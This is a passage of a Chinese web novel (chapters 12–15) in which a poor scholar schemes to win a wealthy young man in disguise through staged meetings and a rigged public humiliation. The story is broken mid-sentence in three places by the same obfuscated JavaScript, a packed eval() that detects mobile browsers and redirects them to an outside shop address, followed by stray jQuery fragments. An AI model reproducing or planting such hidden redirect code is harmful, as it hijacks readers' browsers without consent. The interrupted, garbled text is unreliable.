“自然是有的。只是这吃食,是我曾阅读杂书时,一时得来灵感自己琢磨的,外面没有卖。”
韩璋想了想,没有隐瞒,又把做法也说了出来。
“拉丝的棉花糖,是把糖块融成浆水,然后用竹签蘸糖浆快速旋转,糖丝遇空气凝成网,形似棉花而成;”
“软块的棉花糖,则是将鸡蛋清打成沫,加入鱼胶定型……最后的成品形似天上云层,口感绵密,不费嚼牙。”
“王兄若有兴趣,回去可让府中厨子做来试试……”
沈清澜是个喜欢吃的,听着口水都快流出来了。
闻言立刻催促身边的小侍:“巧东巧西,你们听清楚没?快把方子记下来!”
“都记住了,主子。”
巧东巧西赶忙点头,作为伺候的下人,速记主子言语是他们首要技能。
“那就好。”
沈清澜点头。
接着反应过来什么,他又赶紧对韩璋道:“韩兄,这是你自己琢磨出来的独门吃食方子,我不能白要,你看我花10两银子给你买如何?”
然后说完。
沈清澜就后悔了。
因为时下读书人都讲究风骨,讲究视金钱为粪土。
他直接说拿银子买,韩兄会不会觉得他铜钱臭,觉得他是故意羞辱嘲笑他,伤到韩兄的自尊啊?
这般想着,沈清澜顿时懊恼不已。
而韩璋会嫌弃吗?
当然不会!
他都吃软饭了,哪里还会如此玻璃心。
只见韩璋不仅没有露出羞辱之色,反而还有些惊喜道。
“我这吃食方子能值10两银子?”
这反应倒是让沈清澜懵了下,显然第一次见到这么接地气的读书人。
许是看出他在想什么。
韩璋有些不好意思解释。
“让王兄见笑了。韩某家中贫困,每年为筹束脩,已耗费家中父母和叔伯亲人之力,明年科考在即,为筹科考费用,韩某才不得不在读书之余,以写话本为生。”
“10两银子对韩某来说,当真是解燃眉之急,适才有所失态,还望王兄见谅……”
他虽说着自己的窘迫,但态度却是那么大方。
一点都没有因为寒酸的家世而自卑,笑容依旧爽朗,并不觉得自己低微出身有何不耻,自信又从容,坦荡又磊落。
就仿佛《双魂记》中那个才华横溢,自信昂扬,书生意气的张秀才,活生生从书中走了出来。
“……”
望着面前君子端方,仿佛渡上一层耀眼金光的韩璋。
沈清澜心中的懊恼尴尬不仅迅速消散,他的小心脏还怦怦直跳起来,犹如野鹿乱撞,悸动非常。
不愧是能够写出张秀才那般话本人物的秀才郎,韩兄当真和别人不一样。
12.第 12 章
身上渡光肯定是不可能渡光的。
沈清澜之所以会觉得韩璋仿佛整个人都耀眼得发光,除了因话本产生的滤镜外,自然是科技和狠活的结果。
萤石,也就是氟化钙,研磨成粉经过暴晒后,再处于黑暗中就将发出微弱磷光。
韩璋提前把研磨暴晒好的萤石粉撒在身上,而书斋房屋内部光线又正好比较昏暗,如此就实现了发光特效,和氛围烘托。
再加上“张秀才”的人设带来的偶像滤镜。
不出意外,沈清澜原本只有五分的一见钟情效果,直接达到了十分!
小哥儿现在眼里心里全是他的身影,眸中含情脉脉。
“没有见笑,韩兄虽家贫,但君子坦荡,不似那等庸碌书生假样清高,品行高洁令人钦佩,今日能与韩兄相识,乃我之大幸。”
“王兄过奖了,如此高赞,韩某实在不敢当。”
韩璋朗笑摆手。
沈清澜有心与他亲近,笑笑不在纠结这个话题,继续主动找其它的话聊。
“说起书中的吃食方子,我还想起韩兄书中还写过一种可自行演奏曲子的音乐盒,以及可在阳光下吹出五彩斑斓泡泡的新奇玩耍物件,不知是否也能复刻出来?”
韩璋点头:“自是可以复刻的,只不过这两样物件制作工艺非常麻烦,想做出来不易,需耗费不少时日才行。”
“当真?”
沈清澜惊喜不已,他也就是随便问问,没想到这般神奇的东西,还真能做出来。
他眼珠灵动狡黠转了转,当即便想出个好主意。
“韩兄,既然你缺银子,若不嫌弃,那我与你一个赚银子的行当如何?”
“王兄能帮韩某困境,韩某怎能嫌弃?不知王兄所言的行当是什么?”
韩璋闻言好奇。
见他确实没有提起银钱伤自尊的神情,沈清澜便放心解释道。
“是这样的,韩兄应当知道,我叔叔只是书斋的掌柜,并非书斋的东家,我们叔侄想替东家掌管产业,除了要让书斋客似云来之外,就是得会讨东家开心,否则这书斋的掌柜位置,有的是人来做。”
“我观韩兄书中描写的物件,实在新奇有趣,若是能够献给东家,博得东家一乐,实在再好不过。”
“所以,若韩兄能把咱们刚才说的玩件做出来,我花30两与你买如何?”
30两听起来好像不多,但其实真不少。
要知道,时下普通百姓一年的收入,除去吃喝拉撒,全家能攒下几两银子的存款,就已经非常不错了。
韩璋自然非常心动,但却迟疑道。
“这太多了,不过些许巧思玩件,哪里值这么多银钱?王兄有心相帮,韩某感激不急,10两银子即可。”
“就30两。韩兄莫要与我客气,巧思无价,若是东西得了东家的喜欢,我和叔叔不仅有赏钱拿,好处也少不了!”
沈清澜有心接济,找着理由劝说。
但韩璋还是觉得受之有愧:“可是……”
“没有可是,韩兄多番推辞,难道是嫌弃王某并非士子,不愿与王某相交?”
沈清澜故作难过询问。
韩璋慌忙摇头否定,“怎会!”
“那不就行了?我与韩兄投缘,我当韩兄是哥哥,韩兄可愿认我做弟弟,你我从今日起,便以兄弟相称可好?”
沈清澜满是期待眨巴眼睛。
只要认了兄弟,他以后就能时常和韩兄相约见面了!
“韩兄,你就认我做弟弟好不好嘛……”
少年可怜巴巴拉拉他袖子,一副他不答应,就要打滚耍赖了的模样。
韩璋似是没想到他竟是如此憨态可掬的性格,楞了下才展颜一笑。
然后站起身,认真拱手作礼道:“王兄不嫌韩某,愿与韩某相交,韩某欢喜之极。那以后,韩某便称王兄为贤弟了。”
他笑容温润如玉,比阳光还要暖上几分。
谦谦君子,不过如是。
让沈清澜本就悸动的心脏,不由再次猛跳,脸颊慢慢变红。
最终有些害羞地也唤了一声:“贤兄……”
小哥儿声线柔软,满含羞意,当真是好听得紧。
韩璋的心脏也仿佛被拨动了一下,看着面前脸红低头的少年,眼中不由染上笑意。
这般羞羞怯怯的男孩子,还真是可爱……
两人接着又聊了会儿。
一个有心,一个有意,不过短短半个时辰的相处,他们熟得就好似真成了结拜多年的兄弟一般。
等约定好下次见面的时间和地点,去拿书的伙计终于姗姗回来。
伙计解释道:“抱歉韩郎君,刚才有粗手粗脚的杂役不小心将库房书籍弄乱,小的找了好久,才找到给郎君预留的书籍,回来迟了,还请郎君见谅。”
“无妨,今日也是我来得迟,麻烦小二哥了,这书多少银钱?”
韩璋很是温和摇头,说着就拿出钱袋付账。
沈清澜没有阻拦。
他虽有心直接把书送给韩璋,但他杜撰的身份只是书斋的小管事之一,哪能随意免费铺子里的东西,而且也有看轻韩璋之嫌。
帮人的办法多得是,没必要在这点小事让人尴尬。
等把银钱给小二后。
韩璋看看外面的天色道:“王贤弟,时辰不早,我该回书院了,今日与你闲聊甚是愉快,你要的音乐盒与泡泡水我会尽快做好,咱们改日再见可好?”
“好,韩兄回去吧,下次咱们定要好好聊个痛快,我还有好多关于书里的内容想问韩兄。”
沈清澜很是不舍,但时辰确实不早了,也只能放人离开。
不过,眼睛却一直望着韩璋远去的背影。
等彻底看不见人,才依依不舍把视线收回来。
旁边的巧东巧西围观半天,此刻哪里还反应不过来他们家公子,怕是对韩郎君一见倾心了!
两人不禁担忧询问:“公子,您是不是瞧上韩郎君了?”
“是呀,有什么问题吗?”
沈清澜脸红红点头
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16657314|188306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,并没有否认,毕竟接下来他和韩兄见面,还需要身边的小侍帮忙打掩护,现在隐瞒心意纯属多此一举。
贴身小侍虽也是奴仆,但和主子从小长大,情分非同寻常。
巧东巧西真心为主,见主子当真陷入了情爱,心中担忧,也就顾不得那么多规矩,着急冒昧谏言了。
“公子,这问题太大了!”
“虽说韩郎君颇有才华,更在向南书院读书,将来或许真有几分前程,人也长得俊朗,但这些都抵不过他寒门出身。”
“公子若是嫁给他,再如何都得吃上好几年的苦头,才能有好日子过,而且还得看对方有没有良心。”
“有良心还好,没良心的,公子您可就得走夫人的老路了……”
没错,沈老爷当初也是个寒门秀才。
当初也是靠花言巧语哄骗住了身为富商小姐的沈夫人,在岳父的银钱扶持下,不仅顺利科考,还靠砸钱疏通关系,走到了今天五品官职的地位。
翻身后的沈老爷,虽然没有休掉商贾出身的妻子,但也违反诺言纳了妾室,平日偏宠妾室和庶子庶女,没少让沈夫人流眼泪。
之前沈清澜宁愿进宫陪老皇帝,都没想过下嫁,就是因为有母亲的例子。
但现在……
沈清澜也很发愁:“可是我真的好喜欢他,我觉得他和我爹不一样。 ”
“知人知面不知心,何况人是会变的!都说有情饮水饱,但人总不能一直喝水过活吧?”
“公子,想想咱们府中那些姨娘和庶出的姑娘哥儿们,你能接受辛苦陪伴夫君多年后,夫君却忘记誓言,偏宠妾室的日子吗?”
“与其赌虚无缥缈的未来,不如趁情丝未深,早早斩断,公子,咱们可是要做宠妃,啪啪打脸报仇的!”
巧东巧西苦口婆心,极力劝说。
有忠心,也有私心。
因为他们是公子的贴身小侍,将来是要陪着公子出嫁的,公子过得好,他们也才能有未来;反之公子过得不好,他们下场定然也凄凄惨惨。
沈清澜不是真傻,这些道理自然也是明白的。
何况他爹娘就是现成的例子!
一想到自家那些难缠的姨娘,庶出的兄弟姐妹,还有偏心的父亲,和流泪的母亲,沈清澜刚刚被勾起的恋爱脑瞬间清醒。
“对,我可是要给陛下当宠妃,等着打脸报仇的,怎么能够现在犯糊涂呢?”
“都遇到三个负心汉了,我咋就不涨教训呢?!”
“喜欢哪有报仇重要,大不了等报完仇,陛下驾崩以后,我跟着儿子出宫建府当老封君的时候,再把韩郎君抢过来做面首就是。”
“反正以陛下的年纪,肯定活不了几年,到时候我还年轻貌美,有银子有地位,还有韩郎君相伴,多快活?现在去吃什么苦啊,我可真是傻透了!”
沈清澜越说越觉得这法子未来美好,拍着脑袋为刚刚差点犯傻的自己懊恼不已。
巧东巧西:……
所以说来说去,就得这韩秀才不可是吗?
13.第 13 章
韩璋的一见钟情策略非常成功。
但两人到底初次见面,相处不久,这份感情有限。
沈清澜也不是真的傻白甜,有家中父母现成的例子,他心中刚生出的情愫,终究还是在贴身小侍的劝说下,暂时抑制住了。
而另一边。
韩璋还不知道自己的勾引计划只成功了一半。
毕竟先前说过,他的异能虽然能够操控植物探听别人说话,但也不能时时刻刻都注意到,所以,完成书斋的初遇后。
他接下来的空闲时间,就全部花到了《双魂记》的后续内容写作,以及制作音乐盒和泡泡水上面。
这三件事都不难。
话本故事他早就写得差不多了,很快就能完成。
音乐盒制作虽不易,但他最擅长的就是理科,其原理并不复杂,难的是工艺。
好在古代虽然处处落后,可手艺堪比现代高精密机器的工匠,却并不是没有。
尤其在京城天子脚下,人才最多。
韩璋跑遍全城,每家铁匠铺都去看了一遍,最后终于找到几家合适的铁匠铺,请人帮忙打造音乐盒的机械材料。
而制作泡泡水就更简单了,这东西主要材料就是皂液,而皂化反应怎么搞,大部分现代人都知道。
花了半个月时间,韩璋就把东西准备齐全,然后去书斋赴约。
但可惜的是。
这次计划并不顺利,他并没有在书斋见到沈清澜。
王掌柜笑呵呵解释。
“抱歉韩郎君,我那侄子近日出远门给东家办事去了,今日没法赴约,他让老夫跟你说句歉意,待他给东家办完差事,改日再约如何?”
这话说得委婉,听上去并无不可。
但韩璋是什么人?
他可是在孤儿院长大,末世前在社会摸爬滚打数年,当过公司老总,末世后又在人心险恶的环境中,建立过自己安全基地的人。
若真有事情耽搁失约,肯定还会约定下次具体见面时间。
现在只道歉,却并无其它承诺,什么意思很明显了、
“原来如此,无碍,那相约之事便等王贤弟回来再说。只是这音乐盒和泡泡水,是之前和王贤弟说好的,还请王掌柜转交贤弟。”
“对了,还有话本后续,韩某也已经完成,请掌柜过目。”
韩璋只是怔了下,便仿佛明白什么,没有纠缠追问,恢复自然神色点头。
聪明人无需说太多,就应该有自知之明。
王掌柜见他反应,心中很是欣赏,也笑着拿出50两银子递过来。
“音乐盒和泡泡水澜小子与老夫说过,麻烦韩郎君了,这是说好的30两手工钱,剩下的20两银子,是这个月话本的进账。”
“韩郎君的话本很是受公子小姐们的喜欢,不出意外,后续的进账应该还会更多,若郎君闲暇时有想法,可以再多写几本这类的故事……”
《双魂记》虽然是专门给沈清澜定制的,但“张秀才”这个人设可是参考人设天花板的猴哥,把京城其它府中的姑娘哥儿也给迷住,实在太正常不过。
韩璋闻言露出笑容:“多谢掌柜提点,若有新话本,韩某定再来找掌柜。”
随后清点完银子,又买了几本科考辅助书籍,就离开书斋了。
王掌柜看着他不卑不亢,泰然自若的背影,忍不住点头。
“倒是个心性坚韧的……”
……
另一边。
韩璋离开书斋后,脸上表情并未有什么变化。
因为沈清澜失约的情况,他早就设想过了。
当初调查情况的时候,他就知道沈清澜这个小哥儿,虽然心机不深,还有点天真,可到底接受过精英教育,也没有传闻中那么蠢。
他想靠一面之缘,就把对方彻底变成恋爱脑,实在不太现实。
所以现在的失败,完全在他预料之中,他半点都没有失望和气馁。
A计划不行,那就上B计划。
他就不信,他不能把这小哥儿钓成翘嘴!
仔细思考后。
韩璋又把目标放在了八宝斋隔壁的花铺上。
根据他调查,沈清澜很喜欢吃糕点,还最喜欢八宝斋刚刚出炉的新鲜点心,一个月要出门去八宝斋好几次。
八宝斋隔壁有一间花铺,他完全可以借此和沈清澜来个“偶遇”。
说起花铺,韩璋突然想起一个赚钱的法子,那就是:花卉!
无论是古代还是现代,珍稀花卉都十分昂贵,一株品相好的名贵花草,卖出千两白银都不稀奇。
他拥有植物异能,完全可以培养珍稀花卉赚钱。
只不过无论是韩璋,还是原身,对花卉知识了解都不多,想做这门生意,还需要学习一下。
所以现在也正好是个机会。
这般思索着。
首先进行第一步行动:制造守株待兔中的“株”!
韩璋跑去花铺,厚着脸皮与花铺掌柜商量。
“掌柜安好,我是向南书院的学子,过些日子书院同窗将在府中举行赏花宴,邀约了不少同窗前去,我也是其中之一。”
“可韩某因家境贫寒,对赏花这等闲雅之事,实在知之甚少,恐参宴时疏有不慎之言,搅扰了同窗们的兴致……”
“因而无奈之下,前来叨扰掌柜,不知掌柜可否允诺在下每日前来花铺帮工一个时辰,您教导在下一二花卉知识?”
韩璋态度诚恳,满脸愁容卖惨,瞧着实在让人同情得很。
能白得一个帮工,还是向南书院的学子,现在随手帮个小忙交好,将来对方若是金榜题名,那就是个人脉,掌柜自然爽快同意。
“秀才郎君客气了,不过一点小事,何来叨扰之说?”
“铺中杂事有小伙计做,怎能劳烦秀才郎君,您想学每日空闲过来便是,小老儿定倾囊相授,这是小老儿荣幸,……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667130|188306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
花铺掌柜笑容灿烂,很是欢迎。
可见古代读书人的地位。
—
确定去花铺帮工之事后。
进行第二步行动:给沈清澜制造“美救英雄”的机会!
怜贫惜弱是人都会有的同情心。
而救风尘这种事情,不止男人喜欢干,其实女子哥儿也同样喜欢,否则哪里来的救赎文学?
为了吃软饭,韩璋也算是拼了,把人生几十年的心眼子都用上了。
不过,沈清澜长得好看,性子也可爱得很,甚是合他胃口。
这番心思,他倒也花得心甘情愿。
至于这个“美救英雄”的机会怎么创造呢?
雇人演戏是不能雇人演戏的,容易留下把柄,必须来真的。
韩璋环顾身边人一圈,最后把目光放在了与原身关系最差,还有竞争和恩怨的同乡兼同窗的罗秀才身上。
反正是敌人,那他利用一下没问题吧?
于是。
韩璋接下来一改之前在书院的低调风格。
开始经常当着罗秀才的面去找夫子请教问题,在夫子面前表现,还在罗秀才与其他同窗聊得开心时凑上去,抢走罗秀才的风头。
罗秀才:???
罗秀才真是气死了。
他和韩璋因为村里两族的关系,从小也势同水火,偏他读书一直不如韩璋,从私塾到书院,每逢考试贴榜,他名次都不如韩璋,很是憋屈。
直到不久前。
他因为更会甜言蜜语,把孙员外家的小姐哄着下嫁,孙员外帮着罗家打压韩家,让韩璋最近两月都不敢在书院冒头,他心里终于舒坦几分。
结果没想到才几天,韩璋竟然就又敢跟自己相争,还敢来挑衅自己了!
罗秀才是个得意忘形和冲动的。
毕竟不冲动,他也不会刚和孙小姐定亲,就迫不及待利用岳家势力搞事情,在村里找韩氏一族的麻烦了。
“韩璋竖子!我都让岳父收回佃给你们韩氏的田,让里正给你们穿小鞋了,你不愁着替族人考虑温饱口粮和徭役,竟然还敢来挑衅我,真当我罗郢斗不过你是吗?”
“好好好,韩璋你有种,你给我等着!”
被挑衅的罗秀才气得牙痒痒。
不出意外。
恼怒之后,罗秀才就开始盯着韩璋的动静,恨恨决定要找机会给他好看!
而韩璋,要得就是这种效果。
一切准备就绪。
等沈清澜那边准备再次出府,去八宝斋吃糕点的时间确定后。
韩璋就把自己在花铺做帮工的消息,透露给了罗秀才。
以罗秀才的性格,知道他竟落魄到跑去花铺干杂活,跟脏污的泥土花肥打交道,定然不会放过这么好奚落嘲笑他的机会。
果不其然,听到消息的罗秀才很激动。
只是稍微犹豫了下,就抵不过打压仇敌机会的诱惑,呼朋唤友往花铺前去。
14.第 14 章
韩璋的攻略计划准备就绪。
而沈府这边。
沈清澜虽然失约了,但他心里却还是惦记着韩璋的。
尤其是收到王掌柜转交的音乐盒和泡泡水,还有《双魂记》的故事后续后,他就更忘不掉韩璋了。
原因无它。
因为《双魂记》的结局是悲剧!
音乐盒播放的音乐,也是超级催泪的!
沈清澜本来就因为不能和韩璋继续来往而伤心,结果再来一个悲剧故事,一首悲伤音乐,简直就是双重buff叠加。
把他眼睛都哭肿了。
“呜呜,韩兄怎么这么坏!太虐了,太虐了……”
“我都跟他说了,我想要张秀才和乐哥儿幸福在一起,他为什么要让乐哥儿死,为什么要让张秀才独活等待千年,为什么要让好不容易再见的两人,又马上死别,呜呜……”
没错,双魂记的故事结局,韩璋就是故意参考现代很火的那部《神话》电影。
话本后续中……张秀才虽然金榜题名,但乐哥儿已经在他回去前几天,被家中父母逼嫁自缢死了。
张秀才原本也想跟着殉情,但被一位疯子药师带走,成了对方的试药人,接着阴差阳错成为不死人。
最后求死不得的张秀才,只能苟活于世,守在乐哥儿的墓穴之中,孤独千年。
千年之后。
一群人意外闯入乐哥儿的墓穴,其中有张熟悉的面孔,正是转世后的乐哥儿!
原以为这是上天垂怜,他们终于能够再续前缘。
但谁知再见却又是死别。
离开墓穴的时候,张秀才为救乐哥儿,意外解除了身上的药性,从此失去神奇的不死之身,容颜迅速衰老,寿命走到尽头……
两人前世是:媒妁之言父母命,棒打鸳鸯俩东西!
今生又是:君生我未生,我生君已老。君恨我生迟,我恨君生早!
当真是哭死个人。
别说沈清澜,就连他的四个贴身小侍,巧东、巧西、巧南、巧北看完后续,一个个眼睛也肿得像金鱼。
故事前面有多快乐,后面就有多悲伤。
韩秀才真是太过分了,怎么能够写成这样?简直让人想刀死他。
如此……
沈清澜可不就日日都“惦记”着韩璋,想忘都忘不掉他嘛!
不过。
话本故事再虐,沈清澜再伤心,也挡不住他胃口依旧好。
听说八宝斋又出了新鲜糕点,小哥儿便高高兴兴换上男装,带着贴身小侍出门吃吃喝喝玩乐去了。
八宝斋和花铺紧挨在一起。
沈清澜习惯性坐在临街的包厢,一边吃点心,一边看街上的风景。
所以不出意外,罗秀才跑来花铺嘲笑奚落韩璋的画面,全被他看在了眼中。
……
花铺门口。
罗秀才和他交好的几位同窗,故意拦住正在搬动花盆的韩璋奚落。
书生甲:“咦,我当是谁呢!这不是我们书院最近风头正盛的韩大才子吗?”
书生已:“韩兄,昨日夫子才夸赞了你笔墨生香,怎得今日就跑来花铺,做这些搬运施肥的杂役之活?若是伤了手脚,明年科举该如何是好?”
书生丙:“韩兄如此,莫不是家中生计困难?若真是如此,同窗一场,韩兄若有难处,大可与我等开口,何必因顾及自尊脸面,跑来做这些粗鄙杂活,自毁前程呢!”
几人一唱一喝嘲笑。
最后罗秀才站出来故作同情道。
“诶,几位兄台不知,韩兄家中近日出了不少事,听闻韩兄家里好似得罪了什么贵人老爷,族人佃田全被收了回去,如今全族温饱困难,恐难再供养韩兄读书。”
“吾等也并非大户少爷,都是寒门出身,想来韩兄没有与我等求助,也是怕连累吾等吧……”
他满脸同情,看似帮忙说话,实则揭出韩璋困境。
一个得罪了贵人,没办法再继续科考的秀才郎,可不是什么好相交的目标,与其亲近得不到好处还是轻的,就怕遭受连累一起被贵人报复。
天子脚下,韩璋身具秀才功名,罗秀才再怎么仇视,也不敢光明正大做什么,因为他权势不够。
但他可以用软刀子杀人,比如让岳父孙家涨田租;
又比如现在揭穿韩璋的处境,让因为他秀才身份示好的人担心牵连,远离不给他帮助,让他只能做个穷秀才没办法翻身;
计策很粗浅,但非常实用。
趋炎附势,趋利避害是人之常情,尤其在等级森严的古代。
果不其然,花铺掌柜听闻韩璋家里竟然得罪了贵人,霎时脸色就变了!
但韩璋却脸色未变,直接嗤笑回怼。
“我家得罪了什么贵人?不就是得罪了罗兄你吗?罗兄可是孙员外的好女婿,孙家断我韩氏族人佃田之事,难道罗兄不知?”
“若是知道,罗兄今日这般模样,当真是小人得志;若是不知……这么大的事情孙家都瞒着你,难道罗兄不是娶妻,而是给孙家做了上门女婿?”
说话的同时。
韩璋悄悄用异能催熟藏在袖子里的一株花草。
这花草作用很简单,就是能够刺激催发人的情绪,让人怒气上头……
而效果很明显。
罗秀才眼睛当场就因怒气红了。
他欺辱韩璋可以,但韩璋怎能有勇气和他直接对上?
他岳父可是孙员外,孙员外的族兄可是六品官员,韩璋这厮怎敢?
他就不怕他报复吗?
感觉到周围视线,罗秀才不由脸色难看呵斥。
“韩璋,你休要胡言,我罗郢堂堂男儿,岂会去做上门女婿!”
“你家的田被佃主收回,那定是你们族人自己有问题,今日碰巧路遇,我看在同窗之情上好心关怀你,你却嫉妒污蔑于我,真是好心当成驴肝肺。”
旁边与他同来的几个书生,也都是看韩璋不顺眼的,闻言自然立刻帮腔。
书生甲故作痛心:“韩兄,我等只是好心关怀你,并无它意,你何必如此臆测于人,实非君子所为。”
书生乙气愤道:“韩璋,我们好心帮你,你不领情就算了,还如此恶语伤人,当真是狗咬吕洞宾,不识好人心!”
书生丙冷哼:“田是人家孙员外的,佃主涨
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672071|188306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
租本就是寻常正经之事,韩兄因此生怨,在外污蔑孙老爷声誉,还真是有胆之人!”
几人你一句我一句,又是扣帽子,又是暗暗威胁。
饶是韩璋极力反驳对峙,他一张嘴,又岂能说得过四张嘴?
局势逐渐对他不利。
周围的百姓和花铺掌柜,就算看出是几人故意为难韩璋,也碍于罗秀才背后有贵人靠山,不敢站出来帮腔。
“……”
韩璋一个人孤零零站在人群中央。
四周投来的目光如针芒般刺人,讥讽与嘲弄声音环绕。
他虽依旧挺直脊梁,但那紧握成拳、藏在袖中的手,和低垂的眼睫下一闪而过的黯然,终究泄露了几分难以掩饰的落寞。
可真是……
心疼死隔壁二楼围观的沈清澜了。
“韩兄清风朗月,君子端方,才华横溢,不过家境贫寒一时落魄而已,这些人怎能如此欺辱于他?”
“真是太过分了,我倒要看看这罗秀才是何等背景,竟敢在京城如此嚣张!”
沈清澜心疼韩璋被羞辱,忍了又忍,到底还是没忍住跑下了楼。
巧东巧西在后面喊都喊不住:“公子,公子……”
于是。
就在罗秀才几人奚落正嗨时,沈清澜就冲了过来,挡在韩璋前面怒问。
“刚才的事情本少爷都看完了,这位罗郎君很是嚣张啊!不知你岳父几品官职,在何部任职,竟能任你在天子脚下如此颠倒黑白,光天化日欺辱与你同为秀才的郎君?”
“你,你是何人?”
罗秀才几人见沈清澜身着华服,脚踏绫罗靴,一看就不是普通人,不由气势低下几分,心中忐忑询问。
沈清澜才不会傻到自曝来历,毕竟他爹也就是五品官而已。
何况他还是哥扮男装,万不能暴露身份。
所以,沈清澜便故作纨绔模样,狐假虎威冷哼。
“本少爷是谁你还没资格知晓!快,把你岳父姓谁名谁报上来,本少爷倒要看看,是哪个老匹夫给你撑腰,竟比本少爷还能嚣张!”
说话的同时,扬起下巴,表情不屑。
把他平时见过的那些大家纨绔模样,模仿了个十成十。
罗秀才几人没见识,根本看不出问题。
再加上孙员外的族兄只是六品官,在京城就是小虾米,他仗势欺负一下同村的韩璋还行,其余人是万万不敢招惹的。
他心中没底,沈清澜却气势十足。
罗秀才不敢冒险,最后只能面红耳赤,悻悻留下一句话挽尊。
“夏虫不可语冰!”
随即和几个同窗飞快离去。
“哼,真是欺软怕硬,小人得志的孬种。”
沈清澜见状冷哼一句。
然后才转身看向韩璋,表情踌躇,满是心虚打招呼。
“哈……韩兄,好,好久不见。”
上次失约因着想斩断念想,彻底不再来往,他让王掌柜转告的那些话,并不是很周全。
以韩兄的聪明,肯定能够听出他想断交的潜台词,结果现在他又主动凑上来……
真是尴尬死了!
15.第 15 章
沈清澜因上次故意失约,今天再见韩璋有些心虚,很怕看到他生气的模样。
而韩璋会生气吗?
当然不会。
他只会让金主更心疼自己。
韩璋露出勉强笑容,拱手作礼道谢:“好久不见,方才多谢王贤弟帮忙解围了。”
他抬起手时,不经意露出手上因干粗活,而磨破皮的伤口。
沈清澜已对他动心,此刻见状自然是心疼不已。
当即就忍不住关心询问:“举手之劳,韩兄莫与我客气,只是韩兄你……怎会在此做这些杂活?”
韩璋闻言沉默侧头。
头上的阳光正好照下,暖光勾勒出他侧脸英俊的轮廓,也照见他陈旧衣衫沾染的泥土。
有些狼狈,但也让人触动。
几息后。
他才重新露出温和笑容,轻松解释道。
“王贤弟也知我家境如何,我这般出身之人,没见过怎么用紫砂盆配罗汉松,也不懂哪些花该配檀木架,甚至连兰花、牡丹有哪些品种,都知晓不全。”
“前些日子与书院同窗,谈起今年流行的垂枝梅盆景,我接不上话,让大家好生取笑了一番,方知自己才学疏浅。”
“后想着,日后科考若有幸得进,也总免不了赏花宴会之类的风雅之事。”
“索性便来这花铺帮忙干点杂活,向掌柜请教一些莳花之道,省得来日连夜来香和昙花都分不清,岂非又被人笑话了去?”
一番话,说得沈清澜更加心疼几分,也钦佩不已。
时下大多寒门学子面对自身处境,要么刻意回避,要么附庸风雅,少有人能如此坦然直面自身不足,更遑论用这般脚踏实地的方式弥补。
韩兄虽出身低微,但着实坚韧努力,风骨自成!
沈清澜很想帮忙几分,可方才韩璋因家境被同窗奚落的场景还历历在目,那些刻薄的嘲讽言犹在耳。
他现在贸然提及银钱相助,难免有伤人自尊,在人伤口撒盐的嫌疑。
思及此。
沈清澜便扬起笑容,满是崇拜夸赞:“韩兄,你竟能想出这般法子,可真是太聪明了!”
小哥儿笑容明媚,努力用自己的方式,替他掩饰刚才的难堪。
笨拙又可爱得很。
“贤弟说笑,不过尔尔法子,称不得赞。”
韩璋嘴角忍不住翘起一抹弧度,眼中染上笑意,故意拖长了语调,逗弄询问。
“对了贤弟,前些日子我去书斋里寻你,王掌柜不是说你出远门替东家办差去了吗?贤弟今日怎会在此?”
沈清澜笑容瞬间僵硬:……
他突然发现韩兄还是有缺点的,那就是明知故问!
瞧见韩璋眼中明晃晃的逗弄戏谑之色,沈清澜羞窘不已。
最后索性破罐子破摔,直接丧气道。
“韩兄,上次是我故意失约,千错万错都是我的不是,我认打认罚。但其中确实另有隐情,只是具体缘由,实在……实在不便相告。”
“不过!请韩兄信我,我绝非是因为介意韩兄家世才如此,一切都是我自己的问题,能够与韩兄相交,我心里甚是欢喜……”
说到最后,少年露出可怜巴巴的央求之色,“韩兄,你别生我的气好不好?”
那模样,活像一只做错了事,正努力用脑袋蹭着主人裤脚、呜咽着撒娇乞怜的小猫崽。
让人看得心头发软,又怜又爱。
韩璋见他这般模样,眼底笑意更深,笑道。
“堂堂男子汉作何这般小哥儿姿态,也不怕叫人笑话了去!罢了,你既已把话说到这个份上,我这个当兄长的若是再与你计较下去,岂非枉费你喊我一声‘贤兄’?”
“我就知道,韩兄大气。”
得到原谅的沈清澜开心蹦起来。
至于他作态像小哥儿?他本来就是小哥儿,别人笑话就笑话呗。
只要韩兄还愿与他相交就好!
少年欢喜雀跃的模样实在招眼,路上已有三两个行人侧目望来。
韩璋无奈,伸手轻敲对方脑门道。
“好了,街上人来人往,不是说话的地方。我今日答应花铺掌柜的活还没做完,你快些回家去吧,咱们改日再聊。”
“不要!”
沈清澜一听就急了。
他伸手拽住韩璋的衣袖,满是不舍:“下次见面还不知道是什么时候呢……韩兄,我、我有好多话想同你说。”
